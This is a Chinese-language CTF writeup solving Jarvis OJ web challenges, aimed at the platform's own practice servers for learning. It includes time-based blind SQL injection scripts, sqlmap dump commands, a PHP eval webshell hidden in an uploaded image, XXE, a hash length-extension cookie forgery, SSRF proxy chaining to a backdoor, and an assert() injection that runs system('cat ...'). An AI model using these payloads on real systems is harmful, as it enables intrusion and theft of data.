1. 程式人生 > >jarvis OJ WEB題目writeup

jarvis OJ WEB題目writeup

二分 重新 map 註冊 cal lib 取圖 查看圖片 字段

0x00前言

發現一個很好的ctf平臺,題目感覺很有趣,學習了一波並記錄一下

https://www.jarvisoj.com

0x01 Port51

題目要求是用51端口去訪問該網頁,註意下,要用具有公網的計算機去連,我這裏用的我的騰訊雲服務器去訪問的,本地並不能反回正確結果,因為本地私有地址從代理服務器出去後,使用的是代理服務器的端口,這個端口往往不會是51

curl --local-port 51 http://web.jarvisoj.com:32770/

技術分享圖片

0x02 LOCALHOST

題目提示要用localhost去訪問,即自己的ip要是127.0.0.1

ip可控的2個頭部一個是x-forwarded-for,一個是client-ip

這裏是x-forwarded-for就能偽裝成127.0.0.1

技術分享圖片

當然這種類型如果是$_SERVER[‘remote_addr‘]那麽就沒辦法偽裝了

0x03 Login

剛開始就覺得是sql註入,但是fuzz也沒啥有用的結果,後面發現返回頭有個hint

給出了sql語句,md5($value, true)和md5($value)有什麽區別呢

md5($value, true)  返回的是$value進行md5成的32位16進制的,2個16進制組合成的字符串
md5($value)      返回的是$value進行md5加密的32個16進制字符,效果等價於 md($value, false)

技術分享圖片

這裏因為是將32位的hash給字符串顯示了,上網看了別人的writeup才知道有個 ffifdyop md5加密後的字符串為 ‘or‘6xxxxxxx 這種格式,6xxxxx這種格式不是0,那麽就是真

所有這裏輸入ffifdyop

技術分享圖片

0x04 神盾局的秘密

一來一張大圖片把頁面擋住了,雖然有縫隙可以右鍵縫隙處看源碼

也可以在地址欄,前面加上view-source:

技術分享圖片

發現img的結果是base64編碼後的,這裏解碼後是個圖片的文件名

技術分享圖片

我們試著看看index.php的代碼

技術分享圖片

再看shield.php的代碼,發現有個註釋flag在ptcf.php裏面,但是這個文件沒法直接訪問

技術分享圖片

再看showimg.php的代碼,發現沒發直接用showimg.php來讀取pctf.php

技術分享圖片

然後整理下解題思路,這裏是利用自己寫Shield.php中的Shield類反序列化字符串,然後利用index.php反序列把這個類實例,並將該類的filename指為pctf.php

寫個序列化的代碼

<?php
    class Shield {
        public $file;
        function __construct($filename = ‘‘) {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,‘..‘)===FALSE  
            && stripos($this->file,‘/‘)===FALSE && stripos($this->file,‘\\‘)==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    $a = new Shield(‘pctf.php‘);
    echo serialize($a);
?>

生成

技術分享圖片

將序列化的內容傳入index的class參數,記得看源碼

技術分享圖片

0x05 IN A Mess

先看源碼

技術分享圖片

瀏覽index.phps估計是index.php的源碼

技術分享圖片

然後我是把那一長串if拆分,放在本地自己一個個繞,最後的繞過方法如下

技術分享圖片

a利用php://input 來將post的數據賦值給$data

id利用%00來使 id == 0,而不會使在前一個if(!$_GET[‘id‘])時候提前退出

b利用%00達到目的,因為strsub會檢驗%00這個字符,而eregi會跳過%00,去檢查第二個值4

成功後發現是一串字符,當時傻傻的去當flag提交,但是不是,看了別人的writeup才發現是個地址......

於是接著訪問,它自動補充了id這個參數,估計是sql註入

技術分享圖片

附上我的腳本

import time
import requests

s = requests.Session()
url = http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=

#length is 7
#content
#length is 16
#flag is id,context,title
#length is 44
def getlength():
    for i in range(0,100):
        payload1 = "-1||(if(length((seleselectct(group_concat(column_name))frfromom(information_schema.columns)where(table_name=0x636f6e74656e74)))=" + str(i) + ",sleep(5),0))"
        payload2 = "-1||(if(length((seleselectct(group_concat(id,context,title))frfromom(content)))=" + str(i) + ",sleep(5),0))"
        r = s.get(url + payload2)
        if r.elapsed.total_seconds() > 5:
            print "length is " + str(i)
            break
        else:
            print r.elapsed.total_seconds()

def getword():
    flag = ""
    for i in range(1,45):
        print i
        for j in "abcdefghijklmnopqrsstuvwxyz1234567890!@#$%^&*()_ABCDEFGHIJKLMNOPQRSTUVWXYZ-=+,./;‘?:[]<>\"{}":
            payload1 = "-1||(if(substr((seleselectct(group_concat(column_name))frfromom(information_schema.columns)where(table_name=0x636f6e74656e74))," + str(i) + ",1)=" + hex(ord(str(j))) + ",sleep(5),0))"
            payload2 = "-1||(if(substr((seleselectct(group_concat(id,context,title))frfromom(content))," + str(i) + ",1)=" + hex(ord(str(j))) + ",sleep(5),0))"
            #print payload2
            r = s.get(url + payload2)
            if r.elapsed.total_seconds() > 5:
                flag += str(j)
                print "flag is " + flag
                break


getword()

結果為

技術分享圖片

0x06 RE?

這道題考察的內容估計是udf提權的時候加載udf文件,我在之前學習udf提權的時候,把這道題記錄了下來

有興趣可以看看我之前寫的udf提權,這道題解在0x02

0x07 flag在管理員手裏

看源碼啥也莫得,看看請求頭,自己的cookie多了2個奇怪的參數

技術分享圖片

估計要找源碼了,常見的備份文件 .bak .swp .swo 還有 ~

這裏是index.php~

技術分享圖片

丟掉linux中用vim -r 處理下,我的處理方式,先改名成 .index.php 然後用 vim -r .index.php 但是打開文件只能讀,最後把內容復制出來

技術分享圖片

這裏的考察點是哈希拓展攻擊,並且我們知道了role是 s:5:"admin";進行反序列化後的admin

hsh的值是 s:5:admin這個值的反轉加salt

哈希拓展攻擊是什麽?https://www.freebuf.com/articles/web/69264.html

什麽情況下用哈希擴展攻擊呢

$crypto = md5(salt . ‘password‘)

這裏面我們知道 $crypto,password這2個值,不知道salt的值,但是下面有個判斷

要求$_GET[‘a‘] != $crypto和 $_GET[‘b‘] != ‘password‘

if($_GET[‘a‘] = md5(salt . $_GET[‘b‘])){
    return "right";
}

salt還是上面的salt,a和b可控,那麽要使等式成立,按理說是需要salt的值的

但是哈希擴展攻擊就是不需要知道salt的值,也能滿足等式

但是這個$_GET[‘b‘]比較特殊,它需要按在$crypto和password的規則補全擴展一輪的分組,然後再填$_GET[‘b‘]的值,就能計算出$_GET[‘a‘]的值,但是要知道salt的長度

在kali下有個hashpump,依次輸入

$crypto(32位hash值)

password (上面加鹽後結果前的值)

len(salt) (鹽的長度)

text (擴充字符) (我們想控制的值)

會生成$_GET[‘a‘]的hash值和根據text變型的$_GET[‘b‘]

但是這裏不知道鹽的長度。。。。。。。

這裏要麽用個python腳本寫著爆破,這裏有篇同樣是jarvisOJ WEB的題writeup,該文章博主使用的hash_extender工具,和hashdump最終目的一樣的

https://skysec.top/2017/08/16/jarvisoj-web/#flag%E5%9C%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%89%8B%E9%87%8C

至於我是怎麽找到的,因為之前麽用過hashdump,剛開始我把len(salt)理解成s:5:"admin";長度了,於是瞎貓碰上死耗子,於是就中了.......

技術分享圖片

然後把內容中值反轉一下,並把\x00改成%00

s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b

fcdc3840332555511c4e4323f6decb07

將其輸入到cookie對應的參數中,獲得flag,註意下序列化的 ";" 在cookie中需要編碼成 %3b

技術分享圖片

那麽這裏為什麽能夠添加了這麽多內容,還能滿足源碼中如下的判定條件呢

$role == ‘admin‘

因為這道題巧在利用了unserialize來進行反序列化,它會把序列化格式 ;之後的內容丟棄

也就是 s:5:"admin"; xxxxx (xxxx全被丟棄了)

如果不是被反序列化了,這樣這道題不能滿足$role == ‘admin‘條件了

0x08 Chopper

剛剛進去的時候點擊管理員登錄,題目表示沒有訪問/admin/的權限

技術分享圖片

但是給出了管理員的ip,是個公網ip試著訪問下,是個報錯的頁面,但是至少web服務器是開著的

技術分享圖片

又回到題目上,看了下源碼,發現菜刀的圖片的加載是使用了遠程加載

技術分享圖片

那麽我想著用這個url去訪問管理員的ip網站,和之前直接訪問的403有區別,只是這個頁面沒有index文件而已

技術分享圖片

那麽在後續對管理員服務器進行掃描的過程中發現又存在一個proxy.php文件,然後聯系到原來網站的proxy.php?url=這種遠程包含的參數

這裏也就試了下,並指到原網站的/admin/目錄下

web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

技術分享圖片

接下來又掃描目錄,因為跳了幾跳禦劍掃的十分的慢,但所幸有個robots.txt

技術分享圖片

trojan.php.txt是後門文件的源碼,內容如下

技術分享圖片

因為進行異或處理,就是不知道菜刀密碼,這裏把代碼拷貝下來,掛在本地的web服務器上,就有報錯就知道密碼啦

技術分享圖片

最後利用後門去找flag

技術分享圖片

0x09 Easy Gallery

點擊submit和view的時候發現,url後面帶了個參數,猜測可能是文件包含,隨便寫點東西,報錯warning

技術分享圖片

確信是用fopen進行文件包含的,這裏能夠%00截斷,但是不能訪問index.php

那麽思路是把代碼插入到圖片中,然後包含這個圖片,並利用%00截斷,截取後面的.php,這裏不能直接傳以jpg格式結尾的php代碼,估計它檢查了頭部所以要將代碼插入圖片中

抓包,在圖片文件最後加上一句話木馬

技術分享圖片

最先寫<?php eval($_POST[1])?>並不能成功,不知道為什麽,後面看了別人的writeup才知道可能後臺代碼把 <?php 給waf了,這也是為什麽index.php不能包含進去的原因

通過submit上傳,通過view進行查看圖片,然後查看源碼獲取圖片的位置

view-source:http://web.jarvisoj.com:32785/show.php?id=1553168238&type=jpg

技術分享圖片

最後進行包含,包含成功後就直接出答案了,不用去翻了

技術分享圖片

0x10 Simple Injection

註入成功會返回密碼錯誤,失敗會返回用戶名不存在,並且也能延時,但是貌似是把[空格]給替換成空,也就是 " " => ""

技術分享圖片 技術分享圖片

這裏直接用sqlmap註入了,把請求頭抓下來,利用延時,並把level設置高點,利用空格的bypass的tamper

sqlmap  -r 3.txt --technique T --level 3 --tamper=space2comment

技術分享圖片

最終的payload

sqlmap  -r 3.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump

技術分享圖片

技術分享圖片

登錄獲得flag

技術分享圖片

0x11 api調用

抓包是傳的json

技術分享圖片

看了下源碼是利用了ajax,因為之前比賽的時候做過類似的題目(估計那場比賽是借鑒這道題的),這裏把傳的json改成xml,並利用xxe讀取flag

先把頭中的Content-Type改為application/xml

下面利用xxe

技術分享圖片

0x12 圖片上傳漏洞

先掃描目錄,發現test.php

技術分享圖片

打開是phpinfo,我最先是去找文件上傳的路徑之類的信息,後面做不出來看了writeup發現是imagick的CVE漏洞

http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html

但沒有復現成功,之後會慢慢研究,這裏先貼下別人的writeup,我懷疑不成功是我的png文件的問題

https://skysec.top/2017/08/16/jarvisoj-web/#%E5%9B%BE%E7%89%87%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E

確實題目uploads目錄下有x.php,並且能夠連接,“借刀殺人”找flag

技術分享圖片

0x13 PHPINFO

這道題我之前在學習php反序列化的時候經常遇見,之前總結了下相關知識

題目在0x01:https://www.cnblogs.com/sijidou/p/10455646.html

0x14 WEB?

先看看源碼,發現並不是form表單傳到後臺處理的,而是通過js來驗證的

技術分享圖片

打開app.js,並丟到js源碼排版網站上把代碼排下版,一看2W行代碼,但是這個直接find下,password關鍵字

至於這個password因為直接查看頁面源碼是看不到的,它是用<div id="app">加載進去的,所有按F12用查看器查看

技術分享圖片

在7523行找到一個password,並且這段代碼邏輯是checkpass來判斷密碼是否正確的

技術分享圖片

跟蹤checkpass,在7454行找到checkpass方法,並且調用了__checkpass__REACT_HOT_LOADER__

技術分享圖片

這裏繼續跟蹤__checkpass__REACT_HOT_LOADER__,在7496行發現一段代碼

技術分享圖片

這一段代碼作用是矩陣相乘,已知 矩陣B和矩陣C,不知道矩陣A

矩陣A*矩陣B = 矩陣C,求矩陣A,看到這裏我還去翻線性代數課本,然而還是不會寫算這個矩陣A的算法

好在python有庫

scipy的linalg是對線性代碼操作的一個庫如果沒有可用pip安裝下

pip install scipy

首先加載進來的方法

from scipy import linalg

因為操作的對象是矩陣,需要用到numpy

numpy.array()來申請矩陣

所以要加載numpy庫

import numpy

如果要運行矩陣A *矩陣B = 矩陣C

已知矩陣B和矩陣C,求矩陣A,如果用正常操作麻煩死了

所以有個函數solve

A = linalg.solve(B,C)

註意下參數位置,比較重要,因為矩陣反了不一定能對

這裏題目的r是矩陣C,o是矩陣B

最後的exp

from scipy import linalg
import numpy

r = numpy.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259])
o = numpy.array([[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]])
result = linalg.solve(o,r)

for i in range(len(result)):
    print chr(int(round(result[i]))),

因為result[i]的結果是帶小數的,不四舍五入的話,會有幾個字符錯誤,所以用round四舍五入

技術分享圖片

0x15 [61dctf]admin:

掃一下目錄,發現有個robots.txt

技術分享圖片

訪問該文件,並把cookie中的admin的值從0改為1

技術分享圖片

0x16 [61dctf]inject

提示先找到源碼,按套路找備份文件,這裏是index.php~,訪問查看源碼即可

技術分享圖片

這裏用了2個select語句, 第一個用desc來進行查詢,desc查詢的格式為

desc `table1` `table2` ....

只要第一個table1,滿足了就會返回真

技術分享圖片

所以這道題payload前段構造是

test` ` ....

接下來只要對第二個查詢語句進行註入即可

它的完整格式中會出現 ` `這個空字符,但是絲毫不會影響sql語句的正確性,本地測試下

技術分享圖片

那麽最後上腳本(看了writeup發現可以聯合註入利用limit 1,1來顯示第二行),我這裏使用的是延遲註入

import requests

s = requests.Session()
url = "http://web.jarvisoj.com:32794/index.php?table=test` `"
length = 0
flag = ""

for i in range(0,100):
    #payload = "union select (if(length((select database()))=" + str(i) + ",sleep(5),0)) #"
    #payload = "union select (if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=" + str(i) + ",sleep(5),0)) #"
    #payload = "union select (if(length((select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167))=" + str(i) + ",sleep(5),0)) #"
    payload = "union select (if(length((select group_concat(flaguwillneverknow) from secret_flag))=" + str(i) + ",sleep(5),0)) #"
    r = s.get(url + payload)
    if r.elapsed.total_seconds() > 5:
        print "length is" + str(i);
        length = i
        break
    else:
        #print payload
        print r.elapsed.total_seconds()

for i in range(1, length + 1):
    print i
    for j in abcdefghijklmnopqrstuvwxyz1234567890-=!@#$%^&*()_+[];\‘,./{}:"<>?\\|~:
        #payload = "union select (if((substr((select database())," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        #payload = "union select (if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        #payload = "union select (if((substr((select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167)," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        payload = "union select (if((substr((select group_concat(flaguwillneverknow) from secret_flag)," + str(i) + ",1)=" + hex(ord(str(j))) + ") ,sleep(5),0)) #"
        r = s.get(url + payload)
        if r.elapsed.total_seconds() > 5:
            flag += str(j)
            print "flag is " + flag
            break
        else:
            #print payload
            print r.elapsed.total_seconds()

#database: 61d300
#table: secret_flag,secret_test
#column: flaguwillneverknow

技術分享圖片

0x17 [61dctf]register

題目提示是二次註入,註入點是country

先掃一下目錄發現了註冊頁面register.php和waf頁面hacker.php

技術分享圖片

最先我嘗試的時候是輸入的payload為1‘ or ‘1‘=‘1

技術分享圖片

進去後翻有country的頁面,在該路徑下有country字段內容

http://web.jarvisoj.com:32796/index.php?page=info

但不幸的是被轉義了??

技術分享圖片

後面看了writeup發現是有註入點,但是前面字段為空的時候第一個‘不會被轉義

二次註入的判斷點在Date這個地方,如果正確會返回當前的北京時間,如果錯誤會返回另一時間

並且自己在測試的時候country的內容是限制長度的,如果輸入的語句信息過長會被截斷

waf很多比如information_schema被過濾了,password被過濾等

最後根據別人的writeup得知猜測存在users表,並且要獲取管理員admin的密碼登錄

但是password是被過濾了的,所以無法用group_concat(password)來獲取字段,但是可以用 as來達到不需要password也能獲取內容的手法,這裏先在本地數據庫測試下語句的合法性

技術分享圖片

技術分享圖片

我之前說過,payload的長度是被限制了的,我最先用if(1,1,0)的方式去註入,但是太長了被截斷了,之後可用ascii()=來減短長度,as可用用``來代替,即 2 as a => 2`a`

測試出users應該有5個字段

最後的payload為

‘ or ascii(substr((select group_concat(a) from(select 1,2,3`a`,4,5 union select * from users)`b`),1,1))>0x19#

我這裏說明下,我的payload已經是極限了,如果再長就會被截斷,我在自己的腳本跑的時候,發現到第10個字符就不回顯了,後面手註測試了下,因為10是2個字符,substr(1,10,1)比substr(1,1,1)多一個字符吧,然後就把最後的#給截斷了,導致之後沒有成功,於是我刪了個[空格]才勉強達標

這道題有點麻煩,反正我是沒找到logout,每次手測的時候都是刪除Cookie中的phpsessid來達到重新註冊登錄

技術分享圖片

發現時間變成當前時間了,並且第一個‘,並沒有被轉義,很奇怪,,,,,

技術分享圖片

於是寫最後的payload,看的writeup的師傅用的二分法,我這裏就用普通的爆破吧,想看二分法腳本可以看

http://mitah.cn/index.php/archives/8/

這裏因為沒有找到logout的點,所以把requests.session()放在每次字符循環內,這樣也可以不用logout也能改變phpsessid

我的腳本,因為password一般是32位的16進制hash,並且用group_concat會出現‘,‘來隔開,其他的符號應該就不需要了

import requests
url_index = "http://web.jarvisoj.com:32796/index.php"
url_register = "http://web.jarvisoj.com:32796/register.php"
url_login = "http://web.jarvisoj.com:32796/login.php"
url_info = "http://web.jarvisoj.com:32796/index.php?page=info"
flag = ""
num = 0
for i in range(1,1000):
    print i
    for j in "abcdef1234567890,":
        payload = "‘ or ascii(substr((select group_concat(a) from(select 1,2,3`a`,4,5 union select * from users)`b`)," + str(i) + ",1))=" + hex(ord(str(j))) + "#"
        data_register = {country : payload, username : sijidoul + str(num), password : 123, address : 123}
        data_login = {username : sijidoul + str(num), password : 123}
        num = num + 1

        s = requests.Session()
        s.get(url_index)
        s.post(url_register, data=data_register)
        s.post(url_login, data=data_login)
        r = s.get(url_info)

        if "<em>2019-03-22 14" in r.text:
            flag = flag + str(j);
            print "flag is " + flag
            break
        #else:
            #print payload

if "<em>2019-03-22 14"這個看自己當前計算機時間來修改日期

最後在龜速註入中獲得了admin的密碼hash 9a73fd18fedd9643357ffe20b9d974e4解碼是CleverBoy

技術分享圖片

用admin登錄後獲取flag

技術分享圖片

0x18 [61dctf]babyphp

在about下發現了些提示,估計是/.git/文件泄露

技術分享圖片

測試了下是存在.git目錄,然後用GitHack : https://github.com/BugScanTeam/GitHack

技術分享圖片

python GitHack.py http://web.jarvisoj.com:32798/.git/

項目下載下來,瀏覽了下,templates裏面都是HTML模板,有個flag.php是空,但是估計題目就是要獲取題目服務器上的flag.php內容

最主要的地方是index.php的php代碼部分

技術分享圖片

它使用了assert這個可以代碼執行的函數,後面的file_exists()可以不用管,從strpos入手,因為內容可控,所有可以拼接

自己本地模擬下,發現php能夠用 and 和 | 來執行多條命令

<?php
    $a = $_GET[‘a‘];
    $b = "templates/" . $a . ".php";
    //assert("strpos(‘$b‘,‘..‘) == false ") or die("wrong");
    //input: ‘,‘..‘) === false and system(\"dir\") and strpos(‘
    //assert("strpos(‘templates/ ‘,‘..‘) === false and system(\"dir\") and strpos(‘ .php‘,‘..‘) === false ") or die("wrong");
    //input:‘,‘..‘) === false | system(\"dir\") | strpos(‘
    assert("strpos(‘templates/ ‘,‘..‘) === false | system(\"dir\") | strpos(‘ .php‘,‘..‘) === false ") or die("wrong");
?>

這裏本來只有一個strpos的判定, 因為$file是可控的,我們最後的構造成 strpos system strpos 三條代碼,而system就可以用來執行命令了

最終payload

http://web.jarvisoj.com:32798/index.php?page=‘,‘..‘) === false | system("cat templates/flag.php") | strpos(‘

然後記得查看源碼,flag在源碼裏面

技術分享圖片

0x19 babyxss

首先進去是需要爆破驗證碼的,學習別人的writeup寫了一個

import random
import hashlib
import string

string = "abcdefghijklmnopqrstuvwxyz1234567890"

while True:
    text = random.sample(string,4)
    code = ""
    text = code.join(text)
    code = hashlib.md5(text).hexdigest()
    if code[0:4] == c8bb:
        print "--------------------------"
        print text
        print code
        break
    else:
        print code

後面就是xss了,因為有csp頭,該頭限制了默認的資源,JavaScript的資源必須是同源的,意味著xss一般payload打不cookie

技術分享圖片

網上看了篇不錯的csp繞過的方法

CSP繞過總結

這裏估計是用<link>標簽來達到xss,道理我都懂,但是為啥我就是利用不成功,我不知道遺漏了什麽細節,希望有人能指教>_<

0xff結語

做該平臺題的時候也看過很多相關的web總結性的writeup,和那些writeup相比,感覺自己比較啰嗦23333。但是我把我邊看邊學中自己遇到的情況和想法稍微理了下,希望能對你有所幫助。

jarvis OJ WEB題目writeup